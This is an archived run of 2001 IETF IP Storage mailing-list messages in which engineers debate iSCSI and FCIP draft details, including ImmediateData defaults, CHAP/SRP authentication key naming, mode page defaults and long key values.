(d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8K6Dda208778; Thu, 20 Sep 2001 08:13:45 +0200 Subject: Re: ImmediateData Text Parameter Negotiation To: Dave Sheehy Cc: ips@ece.cmu.edu (IETF IP SAN Reflector), owner-ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Thu, 20 Sep 2001 09:12:46 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 20/09/2001 09:13:45 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8K6DxP06943 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Testing you certainly should (as we did when we suggested that ages ago). I addition it was pointed out several times on this list (by your colleagues too) that out of the 2 forms of unsolicited data (immediate and separate PDU) immediate are easier to handle by the target as no additional matching (with ITT) to perform. Regards, Julo Dave Sheehy cc: Sent by: Subject: Re: ImmediateData Text Parameter owner-ips@ece.cmu.edu Negotiation 20-09-01 02:12 Please respond to Dave Sheehy > > I'd prefer "yes" as the default. > > Targets with memory constraints should limit the > maxCmdSN they advertise (allow only one cmd in the > worst case.. ) > > What are the other reasons why "no" would be preferred ? Historical I suppose. Fibre Channel initially didn't support immediate or unsolicited data. Unsolicited data cannot be directly placed so it requires extra work and buffering on the part of the target which isn't readily accelerated in HW and Fibre Channel's emphasis was on enabling HW acceleration. Recently (relatively anyway), FCP-2 added immediate data commands back into Fibre Channel and some Fibre Channel folks mentioned on this list that it was a good thing. Yet, to date, I have seen no customer interest in that functionality so it makes me wonder what the fuss is about. John's argument has been that we need immediate/unsolicited data in order to fill long fat pipes. He also has said the extra work required on the target side is worth it. I want to test those notions with the other systems and peripheral (e.g. storage array) vendors. Dave Sheehy > > -Sandeep > > > > Additionally, I feel that the default value for ImmediateData should be > > > "no". > > > > This comes down to what do we think the most common default behavior is > > going to be. So far IIRC, the only person who has explicitly stated that > > immediate data support will be the common default behavior has been John > > Hufferd. I'd like to hear the opinions of the rest of the list. > > > > Dave Sheehy From owner-ips@ece.cmu.edu Thu Sep 20 08:42:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA07937 for ; Thu, 20 Sep 2001 08:42:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KBiwc01500 for ips-outgoing; Thu, 20 Sep 2001 07:44:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e33.bld.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KBiuP01496 for ; Thu, 20 Sep 2001 07:44:56 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e33.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id GAA19220; Thu, 20 Sep 2001 06:42:35 -0500 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8KBhcQ209076; Thu, 20 Sep 2001 05:43:38 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI: U= in Authentication To: Steve Senum Cc: ietf-ips X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Thu, 20 Sep 2001 04:42:48 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/20/2001 05:43:37 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OK then Steve, and others I would be interested in your answers to the following questions: If the UserID is exactly the same as the iSCSI Initiator Name, why would it be entered again? If the UserID is different, why was the iSCSI initiator Name required? It is only used as: 1. A unique string that can ensure that the full Session identification is unique, The UserID can do that. 2. As an Authentication String. The UserID can do that. If the same users wants access to different storage from different systems, that user can have a unique UserID for each system. If the User wants the same storage access from different systems, serially, then that user can use the same UserID on each system. So is the UserID a substitute for iSCSI Initiator Name? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Steve Senum @ece.cmu.edu on 09/19/2001 03:27:08 PM Sent by: owner-ips@ece.cmu.edu To: ietf-ips cc: Subject: Re: iSCSI: U= in Authentication I don't think it should be possible to omit the usernames for AuthMethods SRP and CHAP. On the SRP and CHAP key names, I am mostly netural, though I would prefer ChapId instead of ChapID. Since they are AuthMethod specific though, I don't really see the need to change them. Steve Senum "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > I agree that more clarification regarding how to associate SCSI Names with > user identities should be provided. I'm not sure if I agree that it should > be possible to omit the names entirely - however. This would provide > another optional way to approach the exchange (may provide or may not) which > adds complexity to this portion of the code, more test cases, more > unnecessary options, etc.. As you've mentioned it may also be different > depending upon the authentication method in use. There is certainly room for > improvement here. > > I have a bit of a gripe about the key=value pairs during authentication > phase in general. First of all, the key names are not very descriptive, > which defeats the purpose of using Text keys in the first place (in my > opinion). Secondly and more importantly, there are key values that are not > unique and depend upon what authentication method is in progress in order to > decode/parse them. For example, A=5 in CHAP for algorithm selection is > completely different that A=2345 in SRP. Also N=initiatorName in CHAP is > totally different than N=5678 in SRP. It would be much easier if the text > command parser didn't have to consider what authentication method was > running and that all key values were unique. Thus I propose making the > following name changes to CHAP and SRP key values. I'm not too concerned > about the exact key names used, just that they are somewhat descriptive and > unique. > > CHAP Key Values > > Old New > --- -------- > A ChapAlgorithm > I ChapID > N ChapUser > C ChapChallenge > R ChapResponse > > SRP Key Values > > Old New > --- --- > U SrpUser > N SrpSafePrime > g SrpGenerator > s SrpSalt > A SrpPubKeyA > B SrpPubKeyB > M SrpSessionKey > HM SrpKeyProof > > Paul > > +------------------------------------------+ > Paul Congdon > HP ProCurve Networking > Hewlett Packard Company > 8000 Foothills Blvd - M/S 5662 > Roseville, CA 95747 > phone: 916-785-5753 > email: paul_congdon@hp.com > +------------------------------------------+ > > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Tuesday, September 18, 2001 6:22 PM > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > jtseng@NishanSystems.com > Cc: ips@ece.cmu.edu > Subject: iSCSI: U= in Authentication > > Folks, > I think we should indicate in the Security section of the document how the > security Authentication process might validate that the iSCSI Initiator > Name sent in the Initial Login, has something approprate to do with the > "user" being authenticated. (Otherwise, you could authenticate a user and > that user could claim/use any iSCSI Initiator Name in the InitiatorName > key=value pair. > > It is kind of obvious how to relate the U= to the approprate iSCSI > Initiator Name (in the case of SRP), and little less obvious with Chap, > though I think it would be the N= parameter. However, it is really not > obvious when using Kerberos, and SPKM. > > It also should be possible for the initiator not to send another UserID, if > the Security Data Base the customer uses can support the iSCSI Initiator > Name as a UserID. That is, it should be possible for the U= > parameter not to be sent,and have that imply the value of is the > iSCSI Initiator Node Name entered previously as a value in the InitiaorName > key=value pair. Same way with the N= in Chap. > > However, it is not clear, how you do similar things with Kerberos, and > SPKM. > > What do you folks think about this, and how should we document it? > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 20 09:43:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09965 for ; Thu, 20 Sep 2001 09:43:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KCTjl03587 for ips-outgoing; Thu, 20 Sep 2001 08:29:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KCTgP03582 for ; Thu, 20 Sep 2001 08:29:42 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id OAA31318 for ; Thu, 20 Sep 2001 14:29:35 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8KCTWa15008 for ; Thu, 20 Sep 2001 14:29:34 +0200 Importance: Normal Subject: RE: iSCSI: U= in Authentication To: "CONGDON,PAUL (HP-Roseville,ex1)" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Ofer Biran" Date: Thu, 20 Sep 2001 15:28:02 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 20/09/2001 15:29:34 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Paul, The implementers are sent to the relevant RFC for the definition of each authentication method, so the clearest way in my opinion was to use the exact keys as appeared in the RFCs (with a simple statement e.g. - "Where N, g, s, A, B, M, and H(A | M | K) are defined in [RFC2945]" ). I don't think, as Steve doesn't, that there is a real parsing problem since these keys are authentication method's specific (and you know where you are at that point). Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 19/09/2001 20:12:37 Please respond to "CONGDON,PAUL (HP-Roseville,ex1)" Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL, Ofer_Biran/Haifa/IBM , mbakke@cisco.com, jtseng@NishanSystems.com cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication I agree that more clarification regarding how to associate SCSI Names with user identities should be provided. I'm not sure if I agree that it should be possible to omit the names entirely - however. This would provide another optional way to approach the exchange (may provide or may not) which adds complexity to this portion of the code, more test cases, more unnecessary options, etc.. As you've mentioned it may also be different depending upon the authentication method in use. There is certainly room for improvement here. I have a bit of a gripe about the key=value pairs during authentication phase in general. First of all, the key names are not very descriptive, which defeats the purpose of using Text keys in the first place (in my opinion). Secondly and more importantly, there are key values that are not unique and depend upon what authentication method is in progress in order to decode/parse them. For example, A=5 in CHAP for algorithm selection is completely different that A=2345 in SRP. Also N=initiatorName in CHAP is totally different than N=5678 in SRP. It would be much easier if the text command parser didn't have to consider what authentication method was running and that all key values were unique. Thus I propose making the following name changes to CHAP and SRP key values. I'm not too concerned about the exact key names used, just that they are somewhat descriptive and unique. CHAP Key Values Old New --- -------- A ChapAlgorithm I ChapID N ChapUser C ChapChallenge R ChapResponse SRP Key Values Old New --- --- U SrpUser N SrpSafePrime g SrpGenerator s SrpSalt A SrpPubKeyA B SrpPubKeyB M SrpSessionKey HM SrpKeyProof Paul +------------------------------------------+ Paul Congdon HP ProCurve Networking Hewlett Packard Company 8000 Foothills Blvd - M/S 5662 Roseville, CA 95747 phone: 916-785-5753 email: paul_congdon@hp.com +------------------------------------------+ From owner-ips@ece.cmu.edu Thu Sep 20 10:34:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11788 for ; Thu, 20 Sep 2001 10:34:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KDSuH07018 for ips-outgoing; Thu, 20 Sep 2001 09:28:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KDSrP07013 for ; Thu, 20 Sep 2001 09:28:54 -0400 (EDT) Received: from breinhold ([140.186.40.85]) by chmls16.mediaone.net (8.11.1/8.11.1) with SMTP id f8KDTMT21203 for ; Thu, 20 Sep 2001 09:29:22 -0400 (EDT) From: "Barry Reinhold" To: "ISCSI" Subject: FCIP: Sycnhronization Date: Thu, 20 Sep 2001 09:29:26 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit It is very difficult to write meaningful black box synchronization tests for FCIP as currently defined. It also causes a window of confusion if there are protocol errors in the PDU. I would like to propose the following definition for synchronization, which I suspect was probably a starting point, in order to understand why we have the current multi-option set of tests : Test to be used to verify PDU synchronization within TCP stream: Synchronization is defined by a valid length field (as currently defined) that points to a valid EOF delimiter. The FCIP entity enters the loss of synchronization state either at the start of the PDU or at the end of the PDU. One issue here may be that this requires the FC entity to be able to transmit the frame on the Fibre Channel interface with a EOF indicating an error. Barry Reinhold Principal Architect Trebia Networks barry.reinhold@trebia.com 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Thu Sep 20 10:40:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12052 for ; Thu, 20 Sep 2001 10:40:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KDvqW08778 for ips-outgoing; Thu, 20 Sep 2001 09:57:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KDvnP08773 for ; Thu, 20 Sep 2001 09:57:49 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 15:59:16 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B9826@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'Santosh Rao'" , IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. Date: Thu, 20 Sep 2001 15:59:15 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, Where did you find these SCSI Mode page settings? At least I could not find it in SAM-2 document? The mode select command is available in SPI documents but they are meant for particular SCSI device and not for iSCSI device? Be it whatever the case I would like to ask why the default value of MaximumBurstSize is 512 units and why is the default value of FirstBurstSize 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x revisions so setting the default value of FirstBurstSize to 128 units means 65536 bytes or 64K Bytes and similarly the value of Maximumburstsize is 256K Bytes. Is it Ok to have the FirstBurstsize of 64KB?? Sanjeev -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 20, 2001 2:04 AM To: IPS Reflector Subject: iscsi : default iscsi mode page settings. All, Speaking on the subject of default settings, some questions on recent changes to the iscsi mode select pages...... 1) Section 3 of rev 7.94 of the iscsi draft attempts to call out default values for the iscsi mode pages. Per my understanding, there are no defaults for SCSI mode pages, and all the setting are assumed to be disabled, unless explicitly turned on/enabled through a mode select. IOW, the keys in scsi mode pages are defined to be enabling certain features and the default settings are that these features are turned off unless a mode select is explicitly used to enable them. However, the iscsi mode pages seems to be using the opposite policy and is advertising default settings for mode pages, that too, agreesive ones at that! IOW, an initiator implemenation has to explicitly issue a mode select to disable/turn_off features rather than issue a mode select to turn them on. Here's a few examples : * default MaximumBurstSize : 512 units * default EMDP : 1 (i.e. modify data pointers is enabled by default !) * default FirstBurstSize : 128 units. (i.e. initiators MUST use solicited data, unless they explicitly turn it off using mode select, since, not sending solicited data when it has been negotiated implies a target may abort the I/O. I suggest that in keeping with the scsi mode pages, NO default settings be advertised for any iscsi mode pages. i.e. all defaults are conservative (set to 0), unless explicitly turned on thru a mode select. Comments ? Regards, Santosh "Mallikarjun C." wrote: > Matthew, > > I completely agree that the default should be "no"! I pointed this > out sometime ago myself. Apart from what you point out, the default > setting for "ImmediateData" seems to be at variance with the > conservative default for "InitialR2T" ("yes"). > > Julian, could you please consider this request? > > Regards. > -- > Mallikarjun > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > Julian, > > > > Appendix D24 (ImmediateData) does not describe the result of negotiation if > > the two sides differ. I presume that since the default is "yes", then only > > if both sides agree to "no" is immediate data turned off. Please can this > > be stated. > > > > Additionally, I feel that the default value for ImmediateData should be > > "no". > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable the > > minimum is selected. From owner-ips@ece.cmu.edu Thu Sep 20 12:01:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14141 for ; Thu, 20 Sep 2001 12:01:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KEeup11672 for ips-outgoing; Thu, 20 Sep 2001 10:40:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hebe.or.intel.com (jffdns02.or.intel.com [134.134.248.4]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KEesP11666 for ; Thu, 20 Sep 2001 10:40:54 -0400 (EDT) Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by hebe.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id OAA22266 for ; Thu, 20 Sep 2001 14:40:48 GMT Received: from orsmsx26.jf.intel.com ([192.168.65.26]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.1.6) with SMTP id M2001092007412017708 ; Thu, 20 Sep 2001 07:41:20 -0700 Received: by orsmsx26.jf.intel.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 07:40:47 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBE8@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Thu, 20 Sep 2001 07:40:32 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, As Robert so clearly pointed out, this is storage. My observation is that text messages are simply data PDUs that are processed by the iSCSI protocol engine. If we could work towards such an abstraction, we could remove the special handling processing at the protocol package level. I.e., if we segregate the interpretation of the message from the packaging/passing of the message, the protocol would increase in consistency. As such, I'd like to see some consideration where we would revisit this special handling processing and review an approach where we indeed segregate the packaging from the processing of messages that are essentially data exchanges between the engines, rather than the SCSI end points. For example, have a data PDU sequence whose target is a "logical unit" within the iSCSI engine itself. These messages would look identical to Read/Write processing, which is allowed even in pre-FFP because the messages are between the engines, not the SCSI end points. Either my observation is erroneous, or we've missed an opportunity to capitalize on the abstraction, not seeing the forest for the trees. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, September 19, 2001 11:33 AM To: Wheat, Stephen R Cc: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Stephen, We don't want regular values to extend beyond 255 bytes (no good reason to allow this). As such we have 2 limits a) the value length limit AND b) the text block limit. I am not sure that we have to worry about the text block limit except if we are forced into shorter blocks by the framing mechanism. The block spanning mechanism enables us to avoid the first limit (and even here we don't have a good mechanism as bookmarks are target driven and we have to invent another mechanism for initiator driven bookmarks. It looks like the second solution I've suggested works in both directions and is "scalable" while the first needs an additional mechanism to scale beyond a block. Julo "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: RE: iSCSI - long key values 19-09-01 18:06 Please respond to "Wheat, Stephen R" Julian, Maybe I'm missing something, but I think the new "value extension" discussion is around how to send very long "values" in a list of key=value pairs. IF we may have key=value pairs arbitrarily span PDUs, then the sending of a long value is done simply by sending one text response PDU after another, some may have nothing but a 4KB "value" component of a key=value pair. The concatenation of the individual "value" components is then done on the Initiator side, through the process of concatenating the text responses (in order, of course). So, am I missing something here? Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 18, 2001 9:31 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Stephen, It is still on the "to consider list". How would that affect the individula value "extension" that we are considering now? Julo "Wheat, Stephen R" on 18-09-2001 17:57:36 Please respond to "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - long key values Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Thu Sep 20 12:02:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA14188 for ; Thu, 20 Sep 2001 12:02:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KETLd10859 for ips-outgoing; Thu, 20 Sep 2001 10:29:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from apollo.pirus.com ([4.36.58.225]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KETIP10854 for ; Thu, 20 Sep 2001 10:29:19 -0400 (EDT) Received: by apollo.pirus.com with Internet Mail Service (5.5.2650.21) id ; Thu, 20 Sep 2001 10:32:39 -0400 Message-ID: From: "Binford, Charles" To: IPS Reflector , "Reflector T10 (E-mail)" Subject: RE: iscsi : default iscsi mode page settings. Date: Thu, 20 Sep 2001 10:32:35 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree that iSCSI should not be calling out defaults for mode page field values. For example 3.1.1 says "The default value assumed for a new iSCSI session (I_T nexus) is 512 units." This is counter to the way SCSI mode pages work. If a SCSI initiator issues a mode select to a mode page with the SAVE option enable, the "value assumed for a new iSCSI session ..." (with the initiator) had better be the saved value. A transport such as iSCSI can't redefine how the upper layer operates. SCSI mode pages have a well defined behavior involving Current, Saved, and Default pages. I would prefer iSCSI to be silent on the "default value" of any mode page field. In SCSI (regardless of the transport) the default value of any given mode page field is up to the target vendor. Initiators choose to either a) accept the default, b) temporarily change the current setting by issuing a mode select (without save), or c) change the current setting via mode select with the Save option, requesting the target to remember the new value after any resets, power cycles, or in the case of iSCSI, new "sessions". Also, on a related note, version 7-93 Appendix D. Login/Text Operational Keys 22 ImmediateData Contains the folling text: "This field sets the D field in the Disconnect-Reconnect mode page. The value one of the D field means ImmediateData=no." First, there is no 'D' field. Second, this appears to be the last text parameter that tries to modify a mode page. I agree with the move to separate text parameters from mode pages and feel that there is no need for this one to be associated with any mode page. Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Wednesday, September 19, 2001 7:04 PM To: IPS Reflector Subject: iscsi : default iscsi mode page settings. All, Speaking on the subject of default settings, some questions on recent changes to the iscsi mode select pages...... 1) Section 3 of rev 7.94 of the iscsi draft attempts to call out default values for the iscsi mode pages. Per my understanding, there are no defaults for SCSI mode pages, and all the setting are assumed to be disabled, unless explicitly turned on/enabled through a mode select. IOW, the keys in scsi mode pages are defined to be enabling certain features and the default settings are that these features are turned off unless a mode select is explicitly used to enable them. However, the iscsi mode pages seems to be using the opposite policy and is advertising default settings for mode pages, that too, agreesive ones at that! IOW, an initiator implemenation has to explicitly issue a mode select to disable/turn_off features rather than issue a mode select to turn them on. Here's a few examples : * default MaximumBurstSize : 512 units * default EMDP : 1 (i.e. modify data pointers is enabled by default !) * default FirstBurstSize : 128 units. (i.e. initiators MUST use solicited data, unless they explicitly turn it off using mode select, since, not sending solicited data when it has been negotiated implies a target may abort the I/O. I suggest that in keeping with the scsi mode pages, NO default settings be advertised for any iscsi mode pages. i.e. all defaults are conservative (set to 0), unless explicitly turned on thru a mode select. Comments ? Regards, Santosh "Mallikarjun C." wrote: > Matthew, > > I completely agree that the default should be "no"! I pointed this > out sometime ago myself. Apart from what you point out, the default > setting for "ImmediateData" seems to be at variance with the > conservative default for "InitialR2T" ("yes"). > > Julian, could you please consider this request? > > Regards. > -- > Mallikarjun > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > Julian, > > > > Appendix D24 (ImmediateData) does not describe the result of negotiation if > > the two sides differ. I presume that since the default is "yes", then only > > if both sides agree to "no" is immediate data turned off. Please can this > > be stated. > > > > Additionally, I feel that the default value for ImmediateData should be > > "no". > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable the > > minimum is selected. From owner-ips@ece.cmu.edu Thu Sep 20 12:58:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15795 for ; Thu, 20 Sep 2001 12:58:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KFmSn18992 for ips-outgoing; Thu, 20 Sep 2001 11:48:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KFmQP18985 for ; Thu, 20 Sep 2001 11:48:26 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel2.hp.com (Postfix) with ESMTP id 363688ED for ; Thu, 20 Sep 2001 08:48:25 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id IAA27817 for ; Thu, 20 Sep 2001 08:48:20 -0700 (PDT) Message-ID: <3BAA1142.CE5BA144@cup.hp.com> Date: Thu, 20 Sep 2001 08:54:43 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: SNACK R2T/Data References: Content-Type: multipart/mixed; boundary="------------9216B7D4A48CC3B18F9FA400" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------9216B7D4A48CC3B18F9FA400 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Matthew, We have gone through this thread of discussion regarding DataSNa long time back on ips and the consensus has been that I/O transfer sizes are not large enough to justify OUT_OF_BAND acknowledgement of data. [achieved by having the initiator generate NOP-OUTs in response to received data pdu's to send a DataSN ack.] The primary dis-advantage with that scheme was that the data ack's were being generated out-of-band, and therefore, implied extra cost in terms of initiator resources for each I/O, as well as increased wire traffic per I/O, performance penalty, etc. I am opposed to the draft requiring initiators to send out-of-band ack's to data pdu's through the use of initiator generated NOP-OUT pdus. This is a performance penalty, a resource overhead, and not really justified in most I/O traffic due to the avg. data xfer sizes. Regards, Santosh Julian Satran wrote: > Matthew, > > I am also in favor of such a mechanism. It is easy to implement (another > form of SNACK) and we have already built-in a mechanism by which an inbound > stream can be marked for acking (the inbound sequence separator F bit). > It can also be specified as mandated only if the within-command recovery > class is present. > > However I am reluctant to open again this issue except if there are more > supporters. Data ACKs where hastily dropped at the interim meeting in > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh Rao as being very > vocal against them (arguing complexity) and carrying the room with them. > > Julo > > > 